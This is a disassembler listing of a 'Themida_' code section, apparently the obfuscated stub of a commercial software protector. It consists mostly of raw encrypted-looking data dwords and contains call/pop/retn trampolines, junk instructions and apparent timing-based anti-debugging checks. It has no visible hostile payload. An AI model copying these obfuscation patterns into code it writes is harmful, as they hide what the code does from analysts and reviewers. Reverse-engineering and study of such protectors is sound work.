		dd 141BD5BDh, 0F509306h, 0E8Fh,	6E800h,	2E9F0000h, 229FD50Dh
		dd 935F6160h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	5BC35141h, 13E934h, 0A7BE0000h,	8CCD1DC0h, 23AF92EFh
		dd 0B0D7A9D4h, 2F54B357h, 5B5FF44h, 6A06142Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0C472C357h, 66A965F0h, 0F6D57AAh, 95FFF9BFh,	6142971h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 76C35343h
		dd 8141CCC6h, 81F7BAC6h, 0B0FC13h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 16C35141h, 67A18952h, 6A70E6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 49B4C8C3h, 7672E0AAh, 0EE987h, 69730000h, 922452D3h
		dd 38EEEA06h, 4882A807h, 0BD8B71E4h, 6142FC1h, 830F613Ch
		dd 216h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0C6C35646h, 0E8B32B27h,	0BFDEB536h, 2458AFF1h
		dd 0BAD8B60Fh, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0FC35343h, 0B9D9BD2Eh, 12E8h, 0ECDA1E00h, 0F9A27FA9h
		dd 8B3862A4h, 0D43EAA47h, 0F4AAB5Ah, 683h, 8E0F00h, 5F000000h
		dd 0BE66C38Bh, 0E8C1A3A2h, 0ED9D8904h, 0F061423h, 482h
		dd 13BE6600h, 0E2F76642h, 18058589h, 0D82B0614h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 81C35343h, 8B7D02BDh
		dd 140639BDh, 0E18D8906h, 58061412h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 2BC35141h, 60EC430Ch, 75B66B95h
		dd 0D598D01h, 8B0F0614h, 5, 0C9F78166h,	0FD82B25h, 11588h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 7B99Fh, 0B70F0000h, 0C183F3h, 13E9h, 63B50D00h
		dd 847EB233h, 0D74CE6E5h, 0B293A1FDh, 183F79Eh,	860FD93Bh
		dd 0CEh, 74E68166h, 0D98C66E1h,	0BE8h, 441FB00h, 0ECF0D5B4h
		dd 41628F7Fh, 4C1F65Eh,	89840Fh, 0FFFC0000h, 14121195h
		dd 0F18B6606h, 61953160h, 8B06140Eh, 1420258Dh,	0F5B6106h
		dd 680h, 6DB58B00h, 2B061426h, 75B589C3h, 3D06140Ah, 834h
		dd 51860Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 46196DC3h, 9589560Eh, 6141C41h
		dd 3870F5Eh, 50000000h,	3FE95EF5h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8BA7C352h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 7B7E1FEh,	0C38BAA71h, 0B58BD88Bh
		dd 6140F09h, 89BD2360h,	0E9061412h, 7, 6022CD03h, 61B578ABh
		dd 2AA585C7h, 0C5390614h, 850F1D2Dh, 0Ch, 6870Fh, 880F0000h
		dd 0
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6142C05h], 7D0h
		jnz	loc_5BE26A
		push	0
		push	esi
		call	sub_5BE211
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE211	proc near		; CODE XREF: Themida_:005BE209p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5BE211	endp

; ---------------------------------------------------------------------------
		db 9Ch,	0FBh, 0E7h
		dd 0E1A35C5Ch, 2B076C22h, 141FDDBDh, 0CE806h, 14B30000h
		dd 6704EA34h, 2AC73D6Eh, 9D8980EFh, 6141E19h, 585FF5Eh
		dd 0F06142Ch, 984h, 81666000h, 0B4794DC2h, 8F0F6168h, 6
		dd 9459531h
; ---------------------------------------------------------------------------
		adc	al, 6


loc_5BE26A:				; CODE XREF: Themida_:005BE200j
		push	dword ptr [ebp+6142C05h]
		push	0
		push	ecx
		call	sub_5BE27B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE27B	proc near		; CODE XREF: Themida_:005BE273p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5BE27B	endp

; ---------------------------------------------------------------------------
		db 9Fh
		dd 82283978h, 812DA3C8h, 0F24245DFh, 7195FF66h,	8B061429h
		dd 1430A1BDh, 0B8609006h, 710B2449h, 34798D09h,	85290614h
		dd 6140B3Dh, 0FFF68152h, 8940E367h, 140721B5h, 6A615E06h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0C91CC355h, 0C1858973h, 8B061417h, 140BE9BDh
		dd 6AF906h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 5FDF79C3h, 664D96D7h, 6800Fh, 0BD890000h
		dd 6140D71h, 0B930CE81h, 0B58B7591h, 61410EDh, 0A399589h
		dd 0B58B0614h, 6140A55h, 7212F681h, 0BF666D96h,	820FDEF2h
		dd 5, 41C6AFBEh, 55006A6Fh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 8876EDBBh, 0FE855B3Ch
		dd 8BF08B66h, 141D51B5h, 0C1BD8B06h, 0F06140Bh,	0B80h
		dd 0D6816600h, 0DF811512h, 2D68E889h, 13E8h, 34CFD200h
		dd 655C1E67h, 24ADF95Dh, 41107FE7h, 4605CAD3h, 5E9h, 0DB145800h
		dd 0E95EE4E2h, 0FFFFF7DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 6C35646h, 0C18B96F4h,	85858B60h, 0E906142Ah
		dd 10h,	0E6CDFFE3h, 4E102624h, 8D669244h, 659A4ECEh, 4EB61h
		dd 29000000h, 140201B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 858D21F3h, 6140791h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 86C35646h, 6430B0BAh
		dd 7EBE8750h, 24048950h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 2FC35141h, 9589006Ah,	6142B01h, 8DF5006Ah
		dd 1809A785h, 5C08306h,	0A800F50h, 60000000h, 8E0FCA8Ah
		dd 0
; ---------------------------------------------------------------------------
		popa
		mov	[esp], eax
		push	0
		push	ebx
		call	sub_5BE49B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE49B	proc near		; CODE XREF: Themida_:005BE493p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5BE49B	endp

; ---------------------------------------------------------------------------
		cmpsw
		cmp	[esi+163B9318h], dl
		jnp	short loc_5BE51B
		sub	edi, 6A7EE5h
		push	0
		push	edx
		call	sub_5BE4C6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE4C6	proc near		; CODE XREF: Themida_:005BE4BEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5BE4C6	endp

; ---------------------------------------------------------------------------
		mov	bl, 70h
		add	edi, 2446ABE2h
		push	0
		mov	edi, edx
		call	dword ptr [ebp+6141B19h]
		push	0
		push	edx
		call	sub_5BE4F3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE4F3	proc near		; CODE XREF: Themida_:005BE4EBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5BE4F3	endp

; ---------------------------------------------------------------------------
		db 0A5h
		dd 0AFF6BC74h, 0BF0FCCC7h, 789D8DFEh, 660617A7h, 0D3FFF88Bh
		db 66h,	81h, 0E6h
; ---------------------------------------------------------------------------


loc_5BE51B:				; CODE XREF: Themida_:005BE4B3j
		xlat
; ---------------------------------------------------------------------------
		dd 85FFF88Fh, 6142DEDh,	13860Fh, 0EE90000h, 65000000h
		dd 456C588h, 729CA443h,	0DB615CFAh, 39B58BF9h, 0E9061406h
		dd 802h, 0E8h, 0ED815D00h, 61809B1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 32C35141h, 187B9AEh, 5BD81F7h
		dd 0D006142Ch, 0F000007h, 12886h, 0EE900h, 58B40000h, 31165E8h
		dd 0AA18874Ah, 7B8B8C29h, 10C59D8Bh, 6A0614h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 94C997C3h
		dd 6B8E68D4h, 57BF6651h, 0E381B3h, 0BF000001h, 6DAE4694h
		dd 5820Fh, 0F1BF0000h, 0B74AEBBh, 85850FDBh, 89000000h
		dd 1408D585h, 0F88B6606h, 85BBD83h, 0F000618h, 3684h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 93F4A973h, 0BFE94597h, 0B58B079Bh, 6140239h,	4FE9h
		dd 45BD8B00h, 0C706142Ch, 18085B85h, 106h, 0E9F28B00h
		dd 38h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h
		dd 6C35242h, 0DF816609h, 0B52920B9h, 61412FDh, 85B85C7h
		dd 618h, 8B0F0000h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+61410C5h]
		push	0
		push	edx
		call	sub_5BE689
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE689	proc near		; CODE XREF: Themida_:005BE681p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5BE689	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		cmp	al, 0Ch
		sub	si, 8E66h
		and	dword ptr [ebx], 0FFFFFEFFh
		mov	edi, [ebp+6140F91h]
		mov	bx, ds
		push	0
		push	edx
		call	sub_5BE6BB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE6BB	proc near		; CODE XREF: Themida_:005BE6B3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5BE6BB	endp

; ---------------------------------------------------------------------------
		push	ecx
		jge	loc_5BE6D7
		mov	esi, 569CED3Ch


loc_5BE6D7:				; CODE XREF: Themida_:005BE6CCj
		mov	esi, 58EAF691h
		test	bl, 4
		jz	loc_5BE75A
		push	0
		push	ebp
		call	sub_5BE6F0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE6F0	proc near		; CODE XREF: Themida_:005BE6E8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BE6F0	endp

; ---------------------------------------------------------------------------
		dd 0F44F30E1h, 8166B7A9h, 0FFE19BCFh, 14121195h, 1EB3BE06h
		dd 0F18B7F15h, 14E95050h, 53000000h, 0EC904B9Bh, 0D0D9A21Fh
		dd 0F18DDB95h, 6B867782h, 5E214889h, 6A240489h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 231AC355h, 7CD8D29h
; ---------------------------------------------------------------------------
		adc	al, 6


loc_5BE75A:				; CODE XREF: Themida_:005BE6DFj
		jmp	loc_5BEB94
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5BE76A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE76A	proc near		; CODE XREF: Themida_:005BE762p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5BE76A	endp

; ---------------------------------------------------------------------------
		dw 74E7h
; ---------------------------------------------------------------------------
		jbe	short loc_5BE7BF
		mov	si, 360Fh
		mov	al, 0
		push	0
		push	edx
		call	sub_5BE78F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE78F	proc near		; CODE XREF: Themida_:005BE787p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BE78F	endp

; ---------------------------------------------------------------------------
		db 6Fh
		dd 0EBB7A50Fh, 0DCC0BF66h, 9D8970E6h, 61403D1h,	6A71E4h
		dd 3E852h, 5A200000h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 5Ah,	89h
; ---------------------------------------------------------------------------


loc_5BE7BF:				; CODE XREF: Themida_:005BE77Cj
		push	esp
		and	al, 4
		add	dword ptr [esp+4], 16h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dec	ecx
		mov	esp, 5DBD8BF5h
		db	2Eh
		adc	al, 6
		movzx	ebx, al
		push	0
		push	ebp
		call	sub_5BE7E4
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE7E4	proc near		; CODE XREF: Themida_:005BE7DCp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5BE7E4	endp

; ---------------------------------------------------------------------------
		dd 95858929h, 0BA06141Bh, 6, 1235BD8Bh,	0BD8B0614h, 6140D9Dh
		dd 0F78BC38Bh, 6F1BD29h, 0E8C10614h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 466F976Dh
		dd 19556F4h, 0F98B37F5h, 6AE2F766h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C167C355h
		dd 0E643689h, 0C6DAB8F9h, 6AD82Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 32062AC3h, 8B506F85h
		dd 241C89F8h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0A6C35343h, 4A36F75Bh, 815F57FCh, 4E004DD6h, 5B5FF2Dh
		dd 6A06142Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 459DC357h, 0B36D11A7h,	0BD8B29EAh
		dd 61419B5h, 297195FFh,	95890614h, 6141CC1h, 70E600B0h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 91C35747h
		dd 0E44EE637h, 55006A71h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0ED54F972h, 783B6D29h
		dd 239BD89h, 0BE660614h, 613CE47Fh, 246830Fh, 0BF660000h
		dd 0B60FC0E2h, 56006AD8h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 77BAD763h, 0B2D9A4AEh
		dd 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0C38BADDEh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 92C35343h, 0B7D7363Ah, 0B04E8C1h
		dd 14130DB5h, 0E2F76606h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 3CC35242h, 25F8893Bh,	0F860EA98h, 16499D89h
		dd 2B610614h, 2820FD8h,	8B000000h, 8D2958F2h, 61423B9h
		dd 880FD82Bh, 188h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 57C35141h, 6A39CA8Fh,	85294E58h, 61430C5h
		dd 0BE8h, 945C1F00h, 49912999h,	8E97B60Dh, 0F69527BFh
		dd 7B95F09h, 0E9000000h, 14h, 0A6C9C9A2h, 1A5711D1h, 0AE810AB5h
		dd 7E32E9CEh, 0BABE2B04h, 0F00C183h, 68Ah, 65BD8900h, 89061403h
		dd 141FDD8Dh, 0FD93B06h, 10F86h, 11E900h, 77660000h, 7999A8Ah
		dd 0DD1AAF73h, 6C8A19D9h, 0F239DAFh, 0C8Ch, 6810F00h, 23000000h
		dd 143449BDh, 0D98C6606h, 4E5BD8Bh, 0C1F60614h,	0A8840F04h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 487CC352h, 6A71C75Ah, 91B58B40h
		dd 0FF061419h, 14121195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 5B555B6Ch
		dd 18E0Fh, 2BF80000h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C1F56377h, 343DF18Bh
		dd 0F000008h, 2686h, 8810F00h, 60000000h, 4002D781h, 66617BEAh
		dd 3DE9F18Bh, 60000000h, 1CB19D31h, 0D58A0614h,	35B58B61h
		dd 8B061420h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 749F17F4h, 85454BAEh, 8589FB8Bh
		dd 61430F9h
; ---------------------------------------------------------------------------


loc_5BEB94:				; CODE XREF: Themida_:loc_5BE75Aj
		mov	eax, ebx
		mov	ebx, eax
		mov	esi, ebx
		mov	dword ptr [ebp+6140C71h], 3B2D8B9Fh
		push	0
		push	eax
		call	sub_5BEBAF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEBAF	proc near		; CODE XREF: Themida_:005BEBA7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5BEBAF	endp

; ---------------------------------------------------------------------------
		db 52h
		dd 0B866609Ah, 0E981428Bh, 75E85FD9h, 0F8C08B61h, 2C05BD81h
		dd 7D00614h, 850F0000h,	2Dh, 1E5BD8Bh, 85FF0614h, 6142C05h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7FC35646h
		dd 0D4BF6656h, 5B5FF38h, 6A06142Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7741C351h
		dd 482E607Fh, 0FFA67D2Ch, 14297195h, 2DEE8106h,	905AC3F9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9FC35242h
		dd 56BF12EDh, 6074581Ah, 1D8A0Fh, 12E90000h, 9E000000h
		dd 0BA4ABC48h, 0A924BF6Ch, 0B833B187h, 858D444h, 5FDF818Fh
		dd 665B6525h, 0F60FB8Bh, 8Dh, 8C0F00h, 8B000000h, 1404E1B5h
		dd 9D896106h, 6142B85h,	31958961h, 8B061413h, 141121BDh
		dd 0F2BF0F06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	5CC35343h, 0CE84A5Fh, 1C000000h, 60CE67A4h, 0A5E7BA67h
		dd 8B821D5Fh, 140491BDh, 0B5895F06h, 6141E2Dh, 699B589h
		dd 85890614h, 6140E21h,	1131B58Bh, 8B660614h, 12E8F8h
		dd 0B02C0000h, 0EC9401D2h, 4CC4CEE3h, 84C9A72Dh, 51ACDBAEh
		dd 56006A5Fh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0CC0E816Ah, 8B2A6B89h, 0F7FEE9FBh, 5660FFFFh
		dd 4BE533BBh, 0FEB95A26h, 21FFFFFFh, 141C698Dh,	0F2816606h
		dd 0E860E718h, 0Bh, 0FA897D61h,	25613E81h, 60B28027h, 8D8B5A61h
		dd 61402E5h, 0AD8D2161h, 6A061420h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0F38FC355h
		dd 2ABE66E5h, 8BDE8BD9h, 141C698Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 83C62F66h
		dd 850F01E1h, 3, 8BD2BF0Fh, 1420AD8Dh, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 1E889823h, 0FE866BFh, 0E6000000h, 0DFF242CBh, 0B47B31DEh
		dd 2B305DD2h, 0F380211Ah, 0E1835E26h, 12850F01h, 0E9000000h
		dd 0Dh,	153C8254h, 6B64D95Eh, 4BE1CA47h, 0B9606116h, 0FFFFFFFEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C3C35646h
		dd 14893FC5h, 0B8666B5Ah, 8D212869h, 6140C5Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DEC35343h, 8B604F56h
		dd 141A8D8Dh, 0CB8B6606h, 0D98D2161h, 6A061417h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 9FD4C355h, 8529CB2Bh, 6142019h, 0C5D8D8Bh, 6A0614h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0D584EEC3h, 858B1080h, 6141B8Dh, 89D78B66h, 1433A9BDh
		dd 1E18306h, 6850Fh, 0B58B0000h, 6141EF1h, 17D98D8Bh, 0BD890614h
		dd 6140BB9h, 0F01E183h,	85h, 0B8606100h, 7076FD9Ch, 1DFD8501h
		dd 0FEB90614h, 66FFFFFFh, 21E38EBEh, 1431258Dh,	5BE38106h
		dd 210CE06Dh, 1410C58Dh, 13E806h, 8E070000h, 0D52F4BE8h
		dd 0E2CA339h, 936BA091h, 647E7BCh, 0DF8B6675h, 258D8B5Bh
		dd 6A061431h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0C10FC355h, 452290E1h,	0AE9h
		dd 9B592100h, 69DFF329h, 0E914F187h, 8,	6E8B7196h, 76E494D9h
		dd 0F01E183h, 2E85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 7E3C7D92h, 0E41B04EEh
		dd 5850Fh, 0F6BF0000h, 8B1FF676h, 1410C58Dh, 0E183FC06h
		dd 6850F01h, 8B000000h,	141F49BDh, 8B606106h, 14259D9Dh
		dd 0FFFEB906h, 21F5FFFFh, 142AA58Dh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0B589119Ch
		dd 61409E1h, 0C718D21h,	95890614h, 61403DDh, 2AA58D8Bh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 89A73C3h,	0BD8919E1h, 61412A1h, 0F01E183h
		dd 2685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 54944956h, 5B48531Eh, 8BE38AC1h
		dd 140C718Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 47B11364h, 26018D31h, 0E1830614h
		dd 3850F01h, 80000000h,	606110F4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 2C35747h, 0A78F6AD6h, 50D1B7DBh
		dd 1C41B58Bh, 8B0F0614h, 6, 2B09B523h, 85C70614h, 6142C05h
		dd 7D0h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	69C35646h, 9C934B8Ch, 72452653h, 12E99D8Bh, 0E58A0614h
		dd 50006A61h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0FA25E2E2h, 25E81835h, 7EB7208h,	0E99D61h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 27A5C351h, 25598D0Bh, 9D010614h
		dd 6141575h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	13C35747h, 63BF4144h, 89A46A3Dh, 1416698Dh, 0EBC18B06h
		dd 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch
		dd 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h,	34DF1BCEh
		dd 0A6DB67h, 43F853h, 0DC80BA9Fh, 0
		dd 0FEB41B54h, 0FE340000h, 0FBh, 52DDB487h, 9ED92023h
		dd 7C809E01h, 1297E9h, 6E800h, 0D49E0000h, 1C0D7F7Ah, 2365B529h
		dd 835A0614h, 1401CDBDh, 850F0006h, 46h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 17h, 62C35545h, 0F04F663h
		dd 0B8C8BFh, 50000000h,	8E8h, 330CFB00h, 9B592125h, 0C19D2929h
		dd 5F06141Bh, 4C25Ah, 24C59D89h, 0C08B0614h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 8AC35747h, 21EB2073h
		dd 8315C280h, 1410F1BDh, 9750006h, 0E25BD83h, 74000614h
		dd 8B535013h, 4D0B8C0h,	9D8D0000h, 616A526h, 585BD3FFh
		dd 0E25BD83h, 74000614h, 0B8535011h, 4D0h, 0A4739D8Dh
		dd 0D3FF0616h, 6660585Bh, 8166F38Bh, 61557FF7h,	1D5BD8Bh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 81DA95C3h, 0FF5256C7h, 89C08B36h,	1419AD8Dh
		dd 54858D06h, 31061816h, 141005BDh, 66509006h, 9064F2BAh
		dd 0EE96051h, 0D7000000h, 68F8D660h, 92ADE732h,	0F20BD415h
		dd 6161602Eh, 11858D5Ah, 66061816h, 0D044DF81h,	52505050h
		dd 310F5957h, 585A5F53h, 2404895Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 72C35040h, 76DD795Ch, 2C08FF38h
		dd 0DD95FFF9h, 53061430h, 3A97F281h, 8B594BAAh,	60042444h
		dd 0C0B3E981h, 870F1FB5h, 0
; ---------------------------------------------------------------------------
		popa
		mov	[ebp+618163Ch],	eax
		push	0
		push	ebp
		call	sub_5BF3A2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF3A2	proc near		; CODE XREF: Themida_:005BF39Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5BF3A2	endp

; ---------------------------------------------------------------------------
		dw 0EA0Dh
		dd 0BF66E123h, 448BC593h, 840F0824h, 0Ch, 68A0Fh, 958B0000h
		dd 6140D1Dh, 85895EB6h,	6181650h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 2FC35141h, 0BD8341DEh, 614010Dh
		dd 0D3850F00h, 8B000000h, 14206995h, 4985C606h,	47061408h
		dd 1DBD9523h, 4E80614h,	0D2000000h, 60D49AA7h, 0AE8h, 0F97D9100h
		dd 177E178Dh, 58591679h, 0B8665250h, 310F17F4h,	9E8h, 0CC6D6000h
		dd 0A0B94136h, 5A5991C3h, 8B506158h, 24448BFEh,	8BD78A04h
		dd 0BA565100h, 2B878860h, 44895F5Fh, 0D68B0424h, 6E858h
		dd 0B9F90000h, 554254A8h, 88E18166h, 0B5FF5F99h, 6142C65h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8CC35747h
		dd 8B10BDAFh, 140755BDh, 0E2816606h, 858D9D1Bh,	61778FEh
		dd 9878CF81h, 33604940h, 141AB585h, 8C0F06h, 61000000h
		dd 0BD8BD0FFh, 61404F5h, 10D8589h, 9D890614h, 614052Dh
		dd 0BD830EB2h, 6140BCDh, 9F850F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 8BCC351h, 5A1F5463h,	0F5560184h, 1C28166h, 4985C6A7h
		dd 47061408h, 11199589h, 0E680614h, 66CA6F85h, 81FC39B9h
		dd 30EC2434h, 8B604060h, 140AA9B5h, 0B5FF6106h,	6142C65h
		dd 0AE9h, 0AFB65500h, 38BEB907h, 8D3AEDF7h, 1778FE85h
		dd 0D9816606h, 0D0FF8B42h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 60C35343h, 0EBB2EEC4h, 0C62BA4Bh, 85893900h
		dd 6140BCDh, 0BD83FB8Bh, 6140C21h, 0A4850F00h, 60000000h
		dd 0B18D8BF8h, 61061415h, 84985C6h, 89560614h, 142B718Dh
		dd 10406806h, 0CF8B85BFh, 79243481h, 8B51A07Dh,	1408A98Dh
		dd 65B5FF06h, 6A06142Ch, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 752EC353h, 7A31ADDh
		dd 0FDA90AEDh, 9D0BF860h, 61400C1h, 0FE858D61h,	0FF061778h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
